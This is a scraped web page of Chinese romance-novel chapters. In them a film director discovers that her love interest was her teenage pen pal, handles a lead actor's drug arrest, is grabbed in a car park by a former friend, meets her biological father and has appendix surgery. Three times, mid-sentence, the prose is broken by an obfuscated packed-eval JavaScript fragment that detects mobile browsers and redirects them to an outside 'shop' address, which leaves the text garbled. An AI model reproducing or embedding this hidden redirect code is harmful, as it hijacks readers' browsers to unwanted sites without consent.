35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009612|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宜夏良心煎熬了一阵子,还是没忍住好奇,努力开始回忆他的小号那一串拼音。 好像是……D开头? Dyi什么来着? Dyim…… 宜夏慢慢在搜索框输入拼音,后面一串实在是想不清了,直接输入。 微博却只显示了一个用户。 空白头像,ID是“Dyimxue”。 原来那个头像不是一片空白,而是一片白茫茫的雪原。 宜夏坐回沙发上,一边懒懒摸着瑁妹,一边点进那个小号偷窥。 那个小号发的内容很少很少,不过一直没断更,应该是持续在用。 发的几乎都是照片,机票、电影票,瑁妹的照片,还有一些手绘,画风和他在Martha那个账号里更新的内容一样,很清新。 尤其是经常画一只小鹿行走在深绿的森林里、清凉的夏季月光下,轻盈又美好。 只是…… 宜夏注意到,每张手绘右下角都印了一个章。 曲折的篆刻,宜夏勉强辨认出第一个字是“冬”。 ……冬,什么呢? 宜夏怔住了,一种不可思议的念头不可自抑地出现在了脑海里。 - 冬宜密雪。 DongYiMiXue。 是谈雪昼吗? 宜夏以最快的速度打车回了公寓,到楼下才想起,高中时所有的东西,信件、文件、教材书籍,全都在清塘岛的老房子里。 宜夏看了下时间,这个点,已经没有回清塘的船了。 第二天她一早就坐上了回清塘的船,在车上,她仔细捋了捋跟冬天认识的经历。 说巧合算不上,因为冬天在TA的第一封信里,就很明确地说了TA是看了她在儿童文学上发的童话故事,来跟她写信的。 那段时间是宜夏过得很艰难的一段时间。 被关馨煽动全班孤立,她是真正意义上的一个朋友都没有。 于璟是高一下学期转学到江流中学的,在那之前,上学期,从期中考试过后开始,连一个愿意跟她说话的人都没有。 高二的时候,她通过写信认识了冬天。 冬天是她唯一一个倾诉对象,甚至,算得上树洞。她羞耻心很强,哪怕是对着树洞,她也不愿意告诉TA她在经历孤立和霸凌,但是,藏不住的烦恼和苦闷,依然涓涓在信纸上流淌。冬天的信很温柔,安慰过她很多个孤独的晚上。 他们一直通信通了一年多,到她高考结束,她主动跟冬天断了联系——那段时间她经历了很不好的事情,她害怕自己一写信,就会在信纸上写太多负面的东西,带给冬天不好的情绪和负能量。 所以…… 谈雪昼,会是冬天吗? 宜夏几乎有种战栗的晕眩。 她预感到自己正在掀开某个漫长故事的一角,而那个故事的全貌,她真的做好准备接受了吗? 回到清塘岛,有种恍如隔日感。 她回到家,在小储物间里翻出了自己高中时的所有东西。 那些信件被收拾得很好,落款的那枚篆刻印章鲜明依旧。 跟微博里手绘的落款一模一样。 宜夏也不知道自己究竟该是什么心情。 只是,特别的想哭。 她很想知道,谈雪昼知不知道,曾经与他通信的那个夏天到底是谁。 如果他知道,他是什么时候知道的? 如果他不知道,那这一切会是巧合吗? 命运多年之后一个兜转,一个漂亮的转折,让他来到她面前。 她少女时期唯一珍贵的,真正的朋友。 也是她现在,很喜欢,很想要在一起的对象。 宜夏把信件好好地收了起来,带回江流。 她有种迫切的,马上见到谈雪昼的冲动。但是他人不在江流,还在北京。她为他养的橙玫瑰已经积蓄了满满一捧,她很想让他看见那些花儿,很想看见他笑。 谁知道刚回江流,她接到了副导演的电话。 告诉她:“宜导,出事了。方凌吸毒被拘留了。现在已经出了通报了……” 63. 想把你比作春日 宜夏愣了下,脑子嗡的一声:“你说谁?方凌?” 方凌是《清塘山岛日记》的男主角。 不过虽然是男主角,戏份也不过十分钟,并不算多。 但……男主角涉嫌吸毒,意味着电影需要彻底修改有他出现的画面,要么补拍,要么删减,绝对不容许涉毒人员出现在镜头里。 宜夏立刻回到工作室,召集所有人开会讨论这件事。 所有主创包括几个女主角都赶到了,讨论了一整天,最后得出的结论是只能彻底修改方凌这条故事线,尽量删减他的剧情,在不影响大故事框架的基础上把他出镜的镜头删减到最少。实在删减不了的,那就只能补拍了。 补拍要花一大笔钱。 其实粗剪版出来之后,电影已经精剪了一半,现在又要彻底推翻,从头再来。 宜夏以前也经历过这种事情。 电影都已经拿证准备上映了,演员突然爆出来偷税漏税,全行业封杀,她不得不熬大夜跟着导演一起改剧本出方案。但那时候,心理压力不大,因为不管怎么样,有导演扛着,亏钱亏的也是投资人、制作人的钱。 这次是她自己的片子,她自己是导演,最大的投资人是谈雪昼。 压力不可同日而语。 凌晨才结束一整天的会。 宜夏最近提了一辆十多万的代步车,自己开车上下班。刚走到地下车库里,背后有人叫了她一声:“阿宜。” 宜夏工作了一整天,精神和身体都很累,没有精力再应对一个莫名其妙的人。她充耳不闻,加快速度往前走,身后的人追上了她,一把拽住她的手臂。 宜夏厌恶地甩开于璟的手,退开两步,双手抱胸,防卫的姿势:“你有事吗?” “我没恶意,”于璟说,“我是来帮你的,你不是遇见问题了吗?我可以帮你解决。” 宜夏冷冰冰说:“不需要。” 于璟上下打量她,问:“那你打算让谁来帮你,谈雪昼吗?” “跟你有关吗?” “我只是没想到,谈雪昼也挺下贱的。知道你那么骗他利用他,他竟然还能——”话音还没落,“啪”的一声,清脆的耳光声,令于璟消音。 于璟按住被打的脸颊,胸口起伏,目光沉沉看着宜夏。 宜夏毫不示弱瞪着他,冷笑:“于璟,在我心里,最贱的是你。你从头到尾,根本不知道自己错在了哪里,你根本不配提他的名字。” 于璟眼睛烧红,怒火攻心,突然上前一步,扯住她的手臂。 宜夏立刻挣扎起来。男女之间体力差距,宜夏两只手都被他钳住高高举过头顶,整个人被抵在车库的柱子上。 他居高临下逼视着她,不怒反笑:“行啊,那你让他来救你啊,宜夏,他知道你全身上下都被我看——” 宜夏拼命挣扎,下一刻,于璟的手突然被人扯开。 谈雪昼不知道什么时候出现,一把扯开于璟之后,毫不留情朝他脸上挥出一拳,脸上表情很难看,充满暴戾。 于璟二话不说也是一拳。 两个人拳脚相向。 谈雪昼经常野外,在各种偏僻地方拍戏,体力比富贵公子好得多,一拳打在于璟脸上,一拳打在肚子上,于璟却没能伤着他,三两拳就被他放倒,被扯着衣领冲脸打。但于璟竟然也不哀嚎求饶,咬着牙试图反击。 宜夏看谈雪昼是下死手的模样,顾不得脸上泪水没干,抱住他的手臂:“别打了,谈雪昼,别打了,走吧,我们走吧。” 谈雪昼松开手,站起来,眉宇之间依然是压不住的戾气:“下次别让我看见你。滚。” 于璟站直,擦了下唇角的血迹,冷笑着没说话。 宜夏扯着谈雪昼离开,谈雪昼一直没说话。 她看出他情绪不好,眉宇间的戾气还没消散,不敢说话。 直到坐进车里,宜夏启动,车里的安静让宜夏煎熬,没忍住开口:“刚刚那个人……” 谈雪昼侧过头:“你高中同学。” 宜夏有些错愕:“你怎么知道?” 沉默片刻,她低声说:“我高中的时候,他是我,唯一的朋友。后来高考之后,我们之间有了一些……矛盾,后来就没怎么联系了……现在我跟他没什么联系。” 谈雪昼冷冷淡淡点头,没说什么。 宜夏不愿意回想那时候发生的事情,也沉默了下来。 谈雪昼片刻后问:“那他之前有找过你麻烦吗?经常骚扰你?” “他刚回国。……之前只碰到过一次。”宜夏打起精神,故作轻松,“其实没什么,就是一点以前的矛盾,不是什么大事,如果真的遇见事,我报警就可以了。” 谈雪昼没追问。 宜夏也没有再说更多,换了话题:“他刚刚打到你了吗?打你哪儿了?疼吗?” “没。”谈雪昼无所谓地扯了下唇角,“他太弱了。” 宜夏弯起眼睛看他:“你是不是学过拳击?刚刚……就还挺帅的。” “是吗?” 宜夏笑眯眯:“真挺帅的,没想到你还会打人。好帅的,我一直以为你不发脾气。” 谈雪昼掀起眼皮:“那是对你。” “……哦。” 车在公寓楼下停下。 虽然谈雪昼说没受伤,宜夏却还是坚持要他上楼,给他涂点药。 这是谈雪昼第一次到宜夏租的这间小公寓里来。路嘉灵前几天刚找了个安保很好的小区搬进去了,两个人没再继续一块儿住,家里只有宜夏一个,她不大收拾,房间里挺乱的。 紧急把沙发上的一大堆书整理整齐,才找了个地方让谈雪昼坐:“我去取药箱。” 取来药箱,宜夏用棉签轻轻按了按他的唇角:“这里是不是被打到了?” “没。” 明显有被蹭到的痕迹,宜夏不知道他在坚持什么,还是给他涂了点药。 又很耐心地涂手背上裂开的伤口。 涂完药。 宜夏想起来问他:“刚刚你怎么会去工作室那?” 谈雪昼直白说:“方凌出事了,你打算怎么办?” 宜夏想了下,把讨论出来的修补方案告诉了他。他没评价,只是说:“有什么需要,都可以跟我说。” 宜夏默了片刻,问他:“你不担心我亏钱吗?” 他伸手,按在她头顶,把她头发揉得乱七八糟,漫不经心说:“我不做亏本的生意。” 他站起来。 宜夏跟着站了起来,迟疑问:“你要现在回家吗?” 谈雪昼撩起眼皮:“不然,睡你这?” 宜夏张口:“……你要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019906|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不嫌弃,我也,不介意。” 谈雪昼扯了下唇角:“我介意。” 宜夏表情竟然有点藏得不是很好的失落,突然说:“你等等。” 她转身,去卧室捧出一个水晶花瓶。 花瓶里养着满满一瓶橙玫瑰,花朵晶莹饱满,挤挤挨挨,明艳绽放。宜夏说:“答应你的,每天一朵,应该没少。” 谈雪昼只从里面抽出了一枝,说:“剩下的你继续帮我养。” 宜夏问:“我要帮你养多久?” 谈雪昼一下没回答。 宜夏送他下楼,在电梯里,两个人也没出声。到一楼,出了大门,谈雪昼转过头,轻描淡写问:“一辈子,行不行?” 宜夏一下瞠大了双眼。 - 他说,一辈子。 来接他的司机已经到了,他懒散跟宜夏挥了下手,很干脆地上车离开。 把宜夏一个人留在原地,因为他短短三个字而战栗晕眩不已。 一辈子。 她原来从来没有想过,跟哪个人永远在一起。她的人生过客太多,她跟谁都难以结成长久的亲密关系,以至于,她甚至有些轻微的回避性依恋人格。 只有他。 听见他说一辈子,她的脑海里甚至迅速出现了他们七八十岁时,都很老了的样子。那时候还在一起,哪怕只是想象都令她感觉到幸福。 以至于后面两天,虽然要改电影剧本,改剪辑,努力想补救措施,工作令人焦头烂额,宜夏依然心情良好。 一点也没有因为改得毫无头绪而暴躁发怒,情绪稳定得不行,令一众经验更丰富的前辈们称赞,先天内娱导演圣体。 大致出了三四天方案,大家终于捋出了头绪,准备剪辑。 宜夏这几天都没怎么睡,下楼去买了杯咖啡。 再回到工作室,推开她那间小办公室的门,就见沙发上坐着一个她不认识的中年男人。男人戴着一副金丝边的眼镜,穿着整齐的三件套西装,背脊挺直,相貌威严,依稀能看出来年轻时的俊朗眉眼。 浑身的气势,一看就像,投资人大佬? 沙发后恭敬笔直地站了一个中年男人,看样子像大佬的秘书。 小办公室里所有人都屏息凝神,竟然没有一点声音,仿佛被拉进了大佬的威严领域。 见她回来,竟然如遇救星,齐齐松了口气。 坐在大佬对面的柳明昱见宜夏回来了,立刻站起来跟她介绍:“宜导,这位是Civic资本的蒋总,蒋总刚从纽约过来。” 宜夏在众人灼热的眼神中莫名其妙朝前走了两步:“蒋总?您好?” 莫非是她的电影潜力太大,投资人爸爸打听到她遇见问题,主动提出要来投资?有这么好的运气吗? 蒋总站了起来。 先是上下仔仔细细地把她打量了一遍,突然朝她走了两步。 宜夏一愣,下意识后退:“您?” 有什么事吗? 蒋总说:“你叫宜夏?你跟你妈妈姓?” 宜夏:“……有什么问题吗?” 蒋总脸上表情似悲似喜,突然低头摘掉眼镜,用胸口的口袋巾擦了擦眼镜上的雾气,再戴回去,抬头郑重地看向宜夏。 “小夏,我是你爸爸。” 宜夏:“?” 64. 想把你比作春日 第57章 宜夏完全没搞清楚情况。 怎么回事,突然跑出来一个陌生人说是她爸爸? 她后退两步,躲开蒋总试图握住她肩膀的手,懵懵地看着他:“我、不是,蒋先生,我不认识你呀。” 蒋总表情似悲似喜,因为她的躲闪,长长地叹了口气。 宜夏是真的很懵。 她从出生起,就没有见过爸爸的影子。 长大一些了,宜夏从外婆、邻居的只言片语中隐约猜测出来,她是她父母上大学时的意外结果。 后来,宜夏自己拼凑出了身世的真相。 宜月心上研究生时,有一个男友,却和自己的导师全光毅纠缠。后来怀了孕,那个孩子就是宜夏。宜月心以为孩子是全光毅的,能成为她上位的资本,才把她生下来,生下来后DNA鉴定,却不是全光毅的孩子,所以,宜夏一两个月的时候,就被亲妈毫不留情地丢给了外婆。 至于她的亲生父亲,宜月心那时名义上的男友,早就因为她和导师的关系而远走他乡。他不一定知道宜夏的存在,正像,宜夏也不知道亲生爸爸究竟是谁。 工作室其他人默契地退出了小办公室,只留下这父女两人,以及蒋总的秘书。 宜夏虽然大脑一片空白,但勉强维持着礼貌,给蒋总倒了一壶热茶:“您坐。” 蒋总悲喜交集,凝视着眼前的热茶,又是长长叹息。 身后的秘书见状,拿出了一小瓶药递到他眼前:“先生,要不要先吃一点?您注意情绪波动。” 蒋总把小药丸挡开,看着宜夏:“小夏,虽然这么告诉你,有些唐突,但我是你亲生的父亲。” 宜夏仍在状况之外,短促地“啊”了一声。 小时候,被欺负,被人叫“小三的女儿”的时候,她是真的希望能有一个爸爸保护她。 可是现在她长大了,二十余年,从出生到现在,没有见过爸爸一面,突然冒出来一个人说是她爸爸,她没办法突然适应。 蒋总说:“当年我和你妈妈在大学恋爱,我……我们之间有一些矛盾,我念博士,申请了出国留学,就留在了国外。我不知道你妈妈怀了孕,也不知道她把你生了下来。所以……” 宜夏还是在状况外,片刻后才问:“那你,现在是怎么知道的?” “前段时间我回国,参加一场晚宴,遇见了你妈妈。”蒋总平静地说,“我知道你可能一时间难以接受,但请你相信,爸爸没有恶意,只是这么多年从来没有见过……想补偿你。” 宜夏:“但是、但是对我来说,你是陌生人。”宜夏犹豫了下,“你真的不需要做一份,DNA鉴定吗?说不定其实认错人了。” 旁边的秘书很沉稳地拿出一份文件来,端端正正放在一起面前。 居然真的是DNA检验报告。 宜夏都不知道,他是从哪里搞到自己的检验材料的。 只是,报告上写得很明确: 根据DNA分型结果,被检父蒋文府是女儿宜夏生物学父亲概率为99.999%。 宜夏翻了一遍:“这……但是,检验结果也不一定准确吧?” “小夏,爸爸没有恶意,只是想见你一面,想补偿你这么多年……” 宜夏放下报告站起来:“蒋先生,我可能……我要稍微消化一下这个消息,您、您能不能先离开这里?我可能……一时之间,脑子有点空白,不好意思。” 蒋文府深深看着她,半晌点头:“爸爸这么多年实在对不起你。” 宜夏坐回沙发上,把脸埋在掌心,茫茫然轻飘飘,脑子一片混乱。 蒋文府什么时候离开的她都不知道。 太奇怪太荒谬了,活了二十五六年。 突然多了个从没见过面的爸爸。 她收拾了东西离开工作室打车回公寓。 网约车司机频频往后视镜看,叫了她一声:“小姐姐,后面有一辆劳斯莱斯一直跟着咱们呐,是怎么回事?” 宜夏扭过头,看见一辆挂着使馆号牌、开头224的劳斯莱斯幻影,隔着几十米的距离一直跟在她坐的车后。相邻车道的其他车害怕剐蹭到豪车,都自动自觉地拉开了距离,因此那辆车特别扎眼。 宜夏把手埋在掌心:“不认识,不知道……” 司机可能脑补了什么霸道总裁偶像剧,有点兴奋:“那要不要我甩掉它?” 宜夏说:“好,师傅你开快一点。” 师傅是本地人,七拐八弯几个变道,走辅路走小道又扎入单行道,直接把那辆车甩得老远。 宜夏心情久久难以平复,抱着胳膊发呆。 “生物学父亲” 是啊。 如果她没有一个生物学的父亲,她也不会出生啊。 可是,可是都活了这么大,二十多年没有父亲也活下来了,突然有一个,就很别扭。 小时候特别特别想要的一个洋娃娃,那时候没有拿到手,长大之后再买,总不是那个味道了。小时候特别特别想要的爸爸,那时候没有见到过,甚至连想象的余地都没有,现在突然出现,却好像,不那么需要了。 宜夏回到公寓里把自己关在房间独自想了很久。 她最终还是没忍住好奇。 搜了一下蒋文府的名字。 ……真新奇,这是她爸爸的名字。 中文互联网搜不出太多消息,只有一个几行字的简介。 RicardoJiang(蒋文府),美国籍,著名投资机构Civil基金创始人,亿万富豪。 中文名:蒋文府 外文名:RicardoJiang 宜夏再搜更多的东西,搜不出来。 她把自己摔回床上,满脑子乱七八糟的想法,怎么也牵扯不出一个头绪来。 睡前,收到了一条陌生号码发来的短信。 宜夏一看: 【小夏,这是我在国内的号码。望你惠存。如果你实在接受不了,爸爸不会过多打扰你的生活,但希望你能给爸爸一个补偿你的机会。】 【好吗?】 宜夏心情乱成一团,第一次主动给宜月心打了电话。 宜月心接起电话很惊愕,挺惊喜她主动,宜夏硬邦邦说:“蒋……蒋先生来找我了。” 宜月心那边立刻陷入了沉默。 宜夏问:“他说,他甚至不知道我存在,直到最近回国,才知道有我。……妈,”她叫得很艰难,“我竟然有一个爸爸。这么多年了……这么多年。” 宜月心在那边沉默片刻:“阿宜,是妈妈对不起你,一直都是。” 宜夏径直问她:“道歉有用吗?” 宜月心这下陷入了难堪的沉默。 宜夏挂断了电话,默默把短信里那个陌生号码保存到通讯录里。 备注…… 备注,蒋先生。 蒋文府从那天露面之后,信守了诺言,确实没有打扰宜夏。 几天后,宜夏收到了他提前的短信,问她有没有时间一起吃顿便饭。 如果不方便,也没有关系。 宜夏确实没太多事情,犹豫了片刻,还是答应了。 她挺矛盾的,又是抗拒,又是好奇。 除了别扭之外,对这个缺席很多年的父亲,要说恨意,其实没有。或者很淡。 蒋文府派了车来接她。 到吃饭的地方,吃了一顿淮扬菜。饭桌上,蒋文府沉吟许久,把自己过去这二十多年的经历简单告诉了她,也是为了解释为什么二十多年不回国,甚至不知道她的存在。 ——二十多年他都待在美国,白手起家,在华尔街声名显赫,是最著名的华人天使投资人,投了许多声名鹊起的科技企业。 现在他回国,其实是为了结婚。 刚出国时一次受伤导致了他不能再生育,二十多年后,才意外知道自己竟然有个女儿。 宜夏谈不上原不原谅他吧。 如果他真的不知道她存在的话,那他这么多年的缺席,又有什么错呢?只不过是阴差阳错罢了。 宜夏只是听着。 在蒋文府想要再表示一点亲近时,宜夏躲开了。 气氛凝固了很久,宜夏还是不太适应,跟生理学父亲告了别。 临走时回头,却见蒋文府表情十分黯然。 - 《清塘山岛日记》需要再补拍。 宜夏头天下午做预算,算着经费缺口的事。晚上,就接到了蒋文府的电话,说他想要给她的电影投资。 宜夏一下不知道拒绝还是接受。 外婆走后,就再也没有无条件对她好的亲人。现在突然出现了一个努力想要补偿她的爸爸,她甚至有些害怕他的亲近。 蒋文府跟她说,他没想给她压力,不用因为接受了他给的投资,就接受他这个父亲。他只是单方面做出补偿,投资也是因为她的电影质量不错,她不需要有心理压力。 ——但要是真的接受了他的钱,她怎么可能不认他这个爸爸? 宜夏真的很烦恼。 没想到自己有朝一日,竟然会为了多出一个亿万富豪爸爸而烦恼。 她不知道能跟谁倾诉。 手机滑了滑,点开置顶谈雪昼的聊天窗。 谈雪昼那天是为了她电影的事从路演行程中回来的,知道她没事,又飞回去带路演了。 最近《城池》不知道为什么,似乎是被下了黑水军,口碑突然暴跌,路演增加了行程。 宜夏没去烦他。 每个人都有自己的选择,其他人也没办法帮她选。 那她,就跟随内心吧。 她最终选择了接受。 因为……蒋文府给的实在是太多了。 投资到位后,电影立刻开始补拍,蒋文府给的钱让她多拍一个都没什么问题。 补拍花的时间倒是不多,戏份集中在一起,只拍了十天。 - 《城池》最后一场路演结束,制片人定了餐厅聚餐。 谈雪昼提前离场回了酒店,让助理定最近一班航班回江流。 连轴转了太长时间,终于能空闲下来,他浑身都是疲倦,洗完澡之后就躺回床上,一闭眼差点睡过去。眯了几分钟,随手把手机捞过来,闭着眼睛点开微信置顶的聊天框。 每天都要坚持给他发赛博玫瑰花的人,今天怎么没发? 这么不能持之以恒吗? 谈雪昼盯着屏幕看了好久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027108|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怀疑自己是被她训狗了。 想了很久,顺从本心。 【今天的花呢?】 过了很久,那边弹出来回复。 【我住院了。】 - 那天补拍完,宜夏没休息,直接投入了剪辑。 在工作室忙了一整天,晚上肚子开始疼,隐隐约约的疼。 她以为是吃了什么不好的东西导致的拉肚子,跑了好几趟厕所,但没有什么缓解。又喝了几包胃药,胃还是很疼,没忍住还吐了两次。 大半夜疼得实在厉害了,她没力气自己爬起来打车去医院,硬捱到了天亮,才收拾打车直奔医院。 租住的公寓最近的医院是江流最大的综合性三甲,宜夏小时候脑震荡就在这里住过院,还挺熟悉,到了之后却发现,急诊大楼已经换了位置。 到医院一通检查下来,医生起初怀疑是急性肠胃炎,做了CT检查,发现是阑尾炎,必须住院手术。 确诊的时候已经到下午了,医生给她手术安排在了第二天早晨。 宜夏实在疼得厉害,缩在病床上冷汗涔涔。 蒋文府不知道从哪里知道的消息,晚上来了医院看她。 生病脆弱的时候,宜夏看见他,突然鼻尖一酸。 从小到大,生病的时候,除了外婆,没有其他人照顾过她。外婆现在已经走了,她一个人坚强勇敢地活着,本来以为对亲情一点都不在乎,可是事实摆在面前,她不是不在乎,只是不敢奢望。 蒋文府要把她换去VIP的单人病房,要专家会诊。 宜夏忍着疼制止了他,虚弱地躺在床上:“只是阑尾炎而已……用不着小题大做。” 蒋文府坐在她床边,小心翼翼地伸手。见她没有躲闪,手顿了片刻,替她捋了捋汗湿的头发。 宜夏微微别过脸,闭上了眼睛。 蒋文府很忙,在医院坐了一会儿,不停接到电话。他没坐多久,留下了特地请来的护工就走了。 宜夏到晚上九点的时候才稍微好点。 疼了一夜一天,也许是免疫习惯了,感觉没那么疼了,看旁边病床的阿姨刷手机,才突然想起,今天的玫瑰呢。 她按亮了手机。 看见他主动发来的信息,突然鼻尖一酸。 很想,很想,见到他。 - 宜夏一晚上禁食禁水,晚上没那么疼,隐隐作痛,捱了一晚上,到凌晨三四点才终于有点睡意。 早晨七点的时候,又被疼醒了。 一睁眼,映入眼帘的却是一双清凌漆黑的桃花眼。 谈雪昼坐在床边,懒倦地看着她,见她醒来,替她掖了下被角。 宜夏想起昨晚营销号还在发路演直播切片,他人在帝都,这个点怎么会回到江流。莫不是做梦? 她眨了下眼睛,犹豫地伸手,想摸一下。 谈雪昼挡开她的手,好好地塞回被子里,漫不经心说:“你挺行的,一睁眼就是占便宜。” 宜夏眨了下眼睛,小声问:“你怎么会来。” “你说呢?” 宜夏默默低头,小声嘟囔:“你现在对我态度温柔一点点好不好,我是病人,我待会儿还要做手术……” 谈雪昼突然伸手。 宜夏下意识往旁边一躲。 他只是替她把被子拉了上去。 宜夏话停了,片刻后,小声问:“你路演结束了吗?都不用忙了?” “没什么事了。”谈雪昼看着她,“生病为什么不第一时间跟我说?” 宜夏迟疑:“……我可以跟你说吗?” “宜夏,你又是什么毛病?” 宜夏眨了下眼,因为他的态度有点郁闷,不吭声了。 因为生病,从昨夜起禁食禁水,脸颊嘴唇都是一色的苍白,垂着头无精打采的样子,流露出一些柔弱来。 谈雪昼伸出了手,替她把垂下脸颊旁的一缕长发别回耳后。 宜夏抬起头看着他,下意识把他的手按在了被子上,小声说:“我没有毛病。我只是……” 只是想要你的怜惜而已。 他似乎叹了口气,目光微沉,回视她,也没抽开手。 病房里气氛莫名有点古怪。 对视之间,宜夏的耳根逐渐烫了起来,张了张口正要说什么,病房门口的敲门声打断了她的话。 ——蒋文府站在门口,身后跟着秘书和几位医生护士。 他率先打破了一室的寂静沉默:“小夏,医生来给你做术前检查。”偏过头,看见了谈雪昼,他表情一怔,“小雪?” 谈雪昼站起来:“Richardo?” 宜夏愣了下,左右打量:“你们认识吗?” 蒋文府转头问她:“你们是什么关系?” 宜夏看了谈雪昼一眼,犹豫了下才说:“……是我正在,努力追求的对象。” 谈雪昼扭头看她,轻轻挑眉。 宜夏缓缓伸手捂住脸,镇定地改口:“……也是我的好朋友。”结巴了一下,若无其事跟谈雪昼介绍,“这是我……爸爸。” 蒋文府愣了,谈雪昼表情也有些古怪。 宜夏莫名其妙地看着两个人,缓慢问:“怎么了吗?” 65. 想把你比作春日 宜夏被推出去做术前检查,结果出来之后,就直接推进了手术室。 手术室外,等着两个男人。 蒋文府和谈雪昼谁也没主动开口。直到蒋文府按捺不住,问:“小雪,你跟宜夏怎么会……” “叔叔,我跟她,应该比你和我妈要早。” 蒋文府错愕不已:“但是,她是我女儿,我是你妈妈男朋友。我们马上要结婚,也就是……她会是你妹妹。” 谈雪昼揉了下眉骨:“又没有血缘。” “这件事说到底……”蒋文府因为这戏剧性的转折错愕不已,突然想起了什么,看向谈雪昼,“那你知道,她妈妈是谁吗?” 谈雪昼沉沉地看着他,没说话。 蒋文府心里一沉,问他:“你对她是认真的吗?” 谈雪昼郑重地说:“我是。”顿了下,“有些事情,她不知道,叔叔,你也不要告诉她。” 蒋文府不知道说什么好,看见他凝重的眉眼,下意识点了下头。 - 手术是全麻,腹腔镜手术创口不大,速度也很快,一个小时之后就下了手术台。全麻的效果很好,宜夏一直到下午才醒。麻醉的前半段,是没有意识的,后半段其实是睡着了,有意识,而且还做了梦,梦见她拉着谈雪昼的手。 谈雪昼捋开她,漠然说:“什么一辈子,都是骗你的。” 怎么能骗人…… 宜夏在梦里好难过,谈雪昼你不能说话不算话,要信守诺言。 “信守什么诺言?” 宜夏睁开眼,第一眼看见的是他漆黑的眼睛,他散漫问:“我怎么说话不算话了?” 宜夏慢半拍眨了下眼睛,话到了嘴边,她突然不敢说出口了。 怕他告诉她,之前说的“一辈子”真的只是一辈子养花,没有别的意思。 她随便扯了个话题:“我想喝水……” 谈雪昼起身去饮水机给她倒了一杯温水,又坐回床边。宜夏捧着,小心翼翼地抬头:“你、你吃饭了吗?” “吃了。”谈雪昼伸手把她的被子拉到最上面,“我去叫护士。” 宜夏伸手拽住他手腕:“等等。” “怎么了。” “……”宜夏酝酿了好久,鼓起勇气,“你之前,要我帮你养花,养一辈子,你是什么意思?” 谈雪昼看着她:“就是你想的意思。” “我想的……你可能不清楚,”宜夏说,“我确定一下,我想的是,复合的意思。” “就是这个意思。” 宜夏干巴巴地“哦”了一声,整个人如坠云端,陷入了玫瑰色梦幻般的迷惘之中。谈雪昼见她神色憔悴又恍惚,伸手捋了捋她的鬓发,起身去叫护士。 宜夏是有点儿没反应过来。 太高兴了,有点懵。 - 阑尾炎手术做完之后有十多个小时最好不要动,也不要下床。 宜夏只好在床上玩手机。 蒋文府在病房待了一会儿,没坐多久,因为工作的事先离开了。谈雪昼出去送了他几步再回到病房。 比起亲生父亲,宜夏跟谈雪昼更熟悉一点,犹豫了下,问他:“你认识……蒋先生,我爸吗?” 谈雪昼耐心回答她:“认识。” “怎么认识的?” “蒋先生的Civic资本跟我家有合作。” 宜夏想了想:“他是不是还挺厉害,挺有钱的。” 谈雪昼瞥她一眼,淡淡说:“是还可以。” 能被八千亿承认还可以……蒋文府应该是世俗上很成功的人了。 宜夏沉默,有点惆怅。 小时候她真的很需要很多很多钱,可是没有,度过了那么贫穷拮据的少女时期。 长大了,她可以自己赚钱了,有很多很多钱的爸爸却回来了。 谈雪昼替她拉了下被角:“别想那么多,要是累了就再睡一会儿。” 宜夏看着他:“你要是有事的话,不用在这照顾我的,我一个人可以。” 谈雪昼不置可否“嗯”了声,出去打了个电话。 半小时后,就有人给他送来了笔记本。 他把电脑搁在她的床尾,直接回起了邮件来。宜夏默默看了一会儿,感觉他应该是完全无视了自己的善解人意,也不好说什么,只好低头看手机,心情却很奇妙。 她在想,刚刚说到的“复合”,到底是不是认真的,还是话赶话说到了。 可是又不好意思直接问。 谈雪昼把最紧急的几封邮件回完,合上电脑,宜夏那边传出来了打游戏的声音。 他没想到这个人在医院还有心情玩游戏,靠过去看:“玩什么?” 宜夏在玩数独。 这是唯一一个她会玩的游戏,每次脑子乱的时候就靠数独平静心情。 卡在一个空填不上去,谈雪昼看了几秒:“那个地方填4.” 宜夏填进去,很快卡的地方就过了。她这关难度挺高的,没想到谈雪昼竟然能一下看出来,问他:“你是蒙的还是真的?” “蒙的。”语气敷衍。 宜夏突然想起:“对,你是学数学的。那你会不会,复变函数,抽象代数,拓扑学什么的?” 谈雪昼:“不会。我是艺术生,捐钱进的耶鲁。” 宜夏一下分不出他到底说的是真是假,有点怀疑地盯着他。 主要是别人说捐钱,不一定有那个钱,但他是真有,所以半真半假。 宜夏放弃了猜测,又胡乱扯了个话题:“这家医院变化还挺大的。我记得我小时候在这里住院,住院部好像不在这边,设施也没这么好。” 谈雪昼闻言抬头,若有所思看了她一眼:“小时候在这住院?” 宜夏回想了下。 那时候她太小了,才六七岁。 